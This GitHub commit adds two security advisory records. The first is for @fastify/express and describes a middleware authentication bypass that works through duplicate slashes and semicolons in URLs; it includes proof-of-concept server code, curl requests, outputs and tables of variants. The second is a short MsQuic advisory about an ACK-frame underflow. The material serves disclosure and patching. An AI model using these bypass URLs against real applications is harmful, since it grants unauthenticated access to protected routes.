Skip to content

Commit 306a33e

Browse files
1 parent cad7642 commit 306a33e

File tree

2 files changed

+186
-0
lines changed

2 files changed

+186
-0
lines changed
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-6hw5-45gm-fj88",
4+
"modified": "2026-04-16T01:03:46Z",
5+
"published": "2026-04-16T01:03:46Z",
6+
"aliases": [
7+
"CVE-2026-33808"
8+
],
9+
"summary": "@fastify/express has a middleware authentication bypass via URL normalization gaps (duplicate slashes and semicolons)",
10+
"details": "### Summary\n\n`@fastify/express` v4.0.4 fails to normalize URLs before passing them to Express middleware when Fastify router normalization options are enabled. This allows complete bypass of path-scoped authentication middleware via two vectors:\n\n1. **Duplicate slashes** (`//admin/dashboard`) when `ignoreDuplicateSlashes: true` is configured\n2. **Semicolon delimiters** (`/admin;bypass`) when `useSemicolonDelimiter: true` is configured\n\nIn both cases, Fastify's router normalizes the URL and matches the route, but `@fastify/express` passes the original un-normalized URL to Express middleware, which fails to match and is skipped.\n\nNote: This is distinct from GHSA-g6q3-96cp-5r5m (CVE-2026-22037), which addressed URL percent-encoding bypass and was patched in v4.0.3. These normalization gaps remain in v4.0.4. A similar class of normalization issue was addressed in `@fastify/middie` via GHSA-8p85-9qpw-fwgw (CVE-2026-2880), but `@fastify/express` does not include the equivalent fixes.\n\n### Details\n\nThe vulnerability exists in `@fastify/express`'s `enhanceRequest` function (`index.js` lines 43-46):\n\n```javascript\nconst decodedUrl = decodeURI(url)\nreq.raw.url = decodedUrl\n```\n\nThe `decodeURI()` function only handles percent-encoding — it does not normalize duplicate slashes or strip semicolon-delimited parameters. When Fastify's router options are enabled, `find-my-way` applies these normalizations during route matching, but `@fastify/express` passes the original URL to Express middleware.\n\n#### Vector 1: Duplicate Slashes\n\nWhen `ignoreDuplicateSlashes: true` is set, Fastify's `find-my-way` router normalizes `//admin/dashboard` to `/admin/dashboard` for route matching. However, Express middleware receives `//admin/dashboard`. Express's `app.use('/admin', authMiddleware)` expects paths to start with `/admin/`, but `//admin` does not match the `/admin` prefix pattern.\n\nThe attack sequence:\n1. Client sends `GET //admin/dashboard`\n2. Fastify's router normalizes this to `/admin/dashboard` and finds a matching route\n3. `enhanceRequest` sets `req.raw.url = \"//admin/dashboard\"` (preserves double slash)\n4. Express middleware `app.use('/admin', authMiddleware)` does not match `//admin` prefix\n5. Authentication is bypassed, and the Fastify route handler executes\n\n#### Vector 2: Semicolon Delimiters\n\nWhen `useSemicolonDelimiter: true` is configured, the router uses `find-my-way`'s `safeDecodeURI()` which treats semicolons as query string delimiters, splitting `/admin;bypass` into path `/admin` and querystring `bypass` for route matching. However, `@fastify/express` passes the full URL `/admin;bypass` to Express middleware.\n\nExpress uses path-to-regexp v0.1.12 internally, which compiles middleware paths like `/admin` to the regex `/^\\/admin\\/?(?=\\/|$)/i`. A semicolon character does not satisfy the lookahead condition, causing the middleware match to fail.\n\nThe attack flow:\n1. Request `GET /admin;bypass` arrives\n2. Fastify router: splits at `;` — matches route `GET /admin`\n3. Express middleware: regex `/^\\/admin\\/?(?=\\/|$)/i` fails against `/admin;bypass` — middleware skipped\n4. Route handler executes without authentication checks\n\n### PoC\n\n#### Duplicate Slash Bypass\n\nSave as `server.js` and run with `node server.js`:\n\n```js\nconst fastify = require('fastify')\n\nasync function start() {\n const app = fastify({\n logger: false,\n ignoreDuplicateSlashes: true, // documented Fastify option\n })\n\n await app.register(require('@fastify/express'))\n\n // Standard Express middleware auth pattern\n app.use('/admin', function expressAuthGate(req, res, next) {\n const auth = req.headers.authorization\n if (!auth || auth !== 'Bearer admin-secret-token') {\n res.statusCode = 403\n res.setHeader('content-type', 'application/json')\n res.end(JSON.stringify({ error: 'Forbidden by Express middleware' }))\n return\n }\n next()\n })\n\n // Protected route\n app.get('/admin/dashboard', async (request) => {\n return { message: 'Admin dashboard', secret: 'sensitive-admin-data' }\n })\n\n await app.listen({ port: 3000 })\n console.log('Listening on http://localhost:3000')\n}\nstart()\n```\n\n```bash\n# Normal access — blocked by Express middleware\n$ curl -s http://localhost:3000/admin/dashboard\n{\"error\":\"Forbidden by Express middleware\"}\n\n# Double-slash bypass — Express middleware skipped, handler runs\n$ curl -s http://localhost:3000//admin/dashboard\n{\"message\":\"Admin dashboard\",\"secret\":\"sensitive-admin-data\"}\n\n# Triple-slash also works\n$ curl -s http://localhost:3000///admin/dashboard\n{\"message\":\"Admin dashboard\",\"secret\":\"sensitive-admin-data\"}\n```\n\nMultiple variants work: `///admin`, `/.//admin`, `//admin//dashboard`, etc.\n\n#### Semicolon Bypass\n\n```javascript\nconst fastify = require('fastify')\nconst http = require('http')\n\nfunction get(port, url) {\n return new Promise((resolve, reject) => {\n http.get('http://localhost:' + port + url, (res) => {\n let data = ''\n res.on('data', (chunk) => data += chunk)\n res.on('end', () => resolve({ status: res.statusCode, body: data }))\n }).on('error', reject)\n })\n}\n\nasync function test() {\n const app = fastify({ \n logger: false, \n routerOptions: { useSemicolonDelimiter: true }\n })\n await app.register(require('@fastify/express'))\n \n // Auth middleware blocking unauthenticated access\n app.use('/admin', function(req, res, next) {\n if (!req.headers.authorization) {\n res.statusCode = 403\n res.setHeader('content-type', 'application/json')\n res.end(JSON.stringify({ error: 'Forbidden' }))\n return\n }\n next()\n })\n \n app.get('/admin', async () => ({ secret: 'classified-info' }))\n \n await app.listen({ port: 19900, host: '0.0.0.0' })\n \n // Blocked:\n let r = await get(19900, '/admin')\n console.log('/admin:', r.status, r.body)\n // Output: /admin: 403 {\"error\":\"Forbidden\"}\n \n // BYPASS:\n r = await get(19900, '/admin;bypass')\n console.log('/admin;bypass:', r.status, r.body)\n // Output: /admin;bypass: 200 {\"secret\":\"classified-info\"}\n \n r = await get(19900, '/admin;')\n console.log('/admin;:', r.status, r.body)\n // Output: /admin;: 200 {\"secret\":\"classified-info\"}\n \n await app.close()\n}\ntest()\n```\n\nActual output:\n```\n/admin: 403 {\"error\":\"Forbidden\"}\n/admin;bypass: 200 {\"secret\":\"classified-info\"}\n/admin;: 200 {\"secret\":\"classified-info\"}\n```\n\nThe semicolon bypass works with any text after it: `/admin;`, `/admin;x`, `/admin;jsessionid=123`.\n\n### Impact\n\nComplete authentication bypass for applications using Express middleware for path-based access control. An unauthenticated attacker can access protected routes (admin panels, APIs, user data) by manipulating the URL path.\n\n**Duplicate slash vector** affects applications that:\n1. Use `@fastify/express` with `ignoreDuplicateSlashes: true`\n2. Rely on Express middleware for authentication/authorization\n3. Use path-scoped middleware patterns like `app.use('/admin', authMiddleware)`\n\n**Semicolon vector** affects applications that:\n1. Use `@fastify/express` with `useSemicolonDelimiter: true` (commonly enabled for Java application server compatibility, e.g., handling `;jsessionid=` parameters)\n2. Rely on Express middleware for authentication/authorization\n3. Use path-scoped middleware patterns like `app.use('/admin', authMiddleware)`\n\nThe bypass works against all Express middleware that uses prefix path matching, including popular packages like `express-basic-auth`, custom authentication middleware, and rate limiting middleware.\n\nThe `ignoreDuplicateSlashes` and `useSemicolonDelimiter` options are documented as convenience features, not marked as security-sensitive, so developers would not expect them to impact middleware security.\n\n### Affected Versions\n\n- `@fastify/express` v4.0.4 (latest) with Fastify 5.x\n- Requires `ignoreDuplicateSlashes: true` or `useSemicolonDelimiter: true` in Fastify configuration (via top-level option or `routerOptions`)\n\n### Variant Testing\n\n**Duplicate slashes:**\n\n| Request | Express Middleware | Handler Runs | Result |\n|---------|-------------------|--------------|--------|\n| `GET /admin/dashboard` | Invoked (blocks) | No | 403 Forbidden |\n| `GET //admin/dashboard` | Skipped | Yes | 200 OK — **BYPASS** |\n| `GET ///admin/dashboard` | Skipped | Yes | 200 OK — **BYPASS** |\n| `GET /.//admin/dashboard` | Skipped | Yes | 200 OK — **BYPASS** |\n| `GET //admin//dashboard` | Skipped | Yes | 200 OK — **BYPASS** |\n| `GET /admin//dashboard` | Invoked (blocks) | No | 403 Forbidden |\n\n**Semicolons:**\n\n| URL | Express MW Fires | Route Matches | Result |\n|---|---|---|---|\n| `/admin` | Yes | Yes (200/403) | Normal |\n| `/admin;` | No | Yes (200) | **BYPASS** |\n| `/admin;bypass` | No | Yes (200) | **BYPASS** |\n| `/admin;x=1` | No | Yes (200) | **BYPASS** |\n| `/admin;/dashboard` | No | Yes (200, routes to /admin) | **BYPASS** |\n| `/admin/dashboard;x` | Yes | Yes (routes to /admin/dashboard) | Normal (prefix /admin/ still matches) |\n\nThe semicolon bypass is effective when the semicolon appears immediately after the middleware prefix boundary. For sub-paths where the prefix is already matched (e.g., `/admin/dashboard;x`), Express's prefix regex succeeds because the `/admin/` part matches before the semicolon appears.\n\n### Suggested Fix\n\n`@fastify/express` should normalize URLs before passing them to Express middleware, respecting the router normalization options that are enabled. Specifically:\n- When `ignoreDuplicateSlashes` is enabled, apply `FindMyWay.removeDuplicateSlashes()` to `req.raw.url` before middleware execution\n- When `useSemicolonDelimiter` is enabled, strip semicolon-delimited parameters from the URL before passing to Express\n\nThis would match the normalization behavior that `@fastify/middie` already implements via `sanitizeUrlPath()` and `normalizePathForMatching()`.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "@fastify/express"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "4.0.5"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 4.0.4"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/fastify/fastify-express/security/advisories/GHSA-6hw5-45gm-fj88"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33808"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://cna.openjsf.org/security-advisories.html"
53+
},
54+
{
55+
"type": "PACKAGE",
56+
"url": "https://github.com/fastify/fastify-express"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-436"
62+
],
63+
"severity": "CRITICAL",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2026-04-16T01:03:46Z",
66+
"nvd_published_at": "2026-04-15T10:16:48Z"
67+
}
68+
}
Lines changed: 118 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,118 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-gvvw-8j96-8g5r",
4+
"modified": "2026-04-16T01:04:03Z",
5+
"published": "2026-04-16T01:04:03Z",
6+
"aliases": [
7+
"CVE-2026-32179"
8+
],
9+
"summary": "MsQuic has a Remote Elevation of Privilege Vulnerability",
10+
"details": "### Summary\nImproper input validation in Microsoft QUIC allows an unauthorized attacker to elevate privileges over a network.\n\n### Details\n Improper Input Validation Integer Underflow (Wrap or Wraparound) when decoding ACK frame.\n\n#### Patches\n- Fix underflow in ACK frame parsing - 1e6e999b\n\n### Impact\nAn attacker who successfully exploited this vulnerability could gain elevated privileges.\n\n### MSRC CVE Info\nhttps://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32179",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "NuGet",
21+
"name": "Microsoft.Native.Quic.MsQuic.OpenSSL"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "2.5.0-ci.532574"
29+
},
30+
{
31+
"fixed": "2.5.7"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "NuGet",
40+
"name": "Microsoft.Native.Quic.MsQuic.Schannel"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "2.5.0-ci.532574"
48+
},
49+
{
50+
"fixed": "2.5.7"
51+
}
52+
]
53+
}
54+
]
55+
},
56+
{
57+
"package": {
58+
"ecosystem": "NuGet",
59+
"name": "Microsoft.Native.Quic.MsQuic.Schannel"
60+
},
61+
"ranges": [
62+
{
63+
"type": "ECOSYSTEM",
64+
"events": [
65+
{
66+
"introduced": "0"
67+
},
68+
{
69+
"fixed": "2.4.18"
70+
}
71+
]
72+
}
73+
]
74+
},
75+
{
76+
"package": {
77+
"ecosystem": "NuGet",
78+
"name": "Microsoft.Native.Quic.MsQuic.OpenSSL"
79+
},
80+
"ranges": [
81+
{
82+
"type": "ECOSYSTEM",
83+
"events": [
84+
{
85+
"introduced": "0"
86+
},
87+
{
88+
"fixed": "2.4.18"
89+
}
90+
]
91+
}
92+
]
93+
}
94+
],
95+
"references": [
96+
{
97+
"type": "WEB",
98+
"url": "https://github.com/microsoft/msquic/security/advisories/GHSA-gvvw-8j96-8g5r"
99+
},
100+
{
101+
"type": "WEB",
102+
"url": "https://github.com/microsoft/msquic/commit/1e6e999b199430effeefee3d85baa0c9dd35ad5e"
103+
},
104+
{
105+
"type": "PACKAGE",
106+
"url": "https://github.com/microsoft/msquic"
107+
}
108+
],
109+
"database_specific": {
110+
"cwe_ids": [
111+
"CWE-191"
112+
],
113+
"severity": "CRITICAL",
114+
"github_reviewed": true,
115+
"github_reviewed_at": "2026-04-16T01:04:03Z",
116+
"nvd_published_at": null
117+
}
118+
}

0 commit comments

Comments
 (0)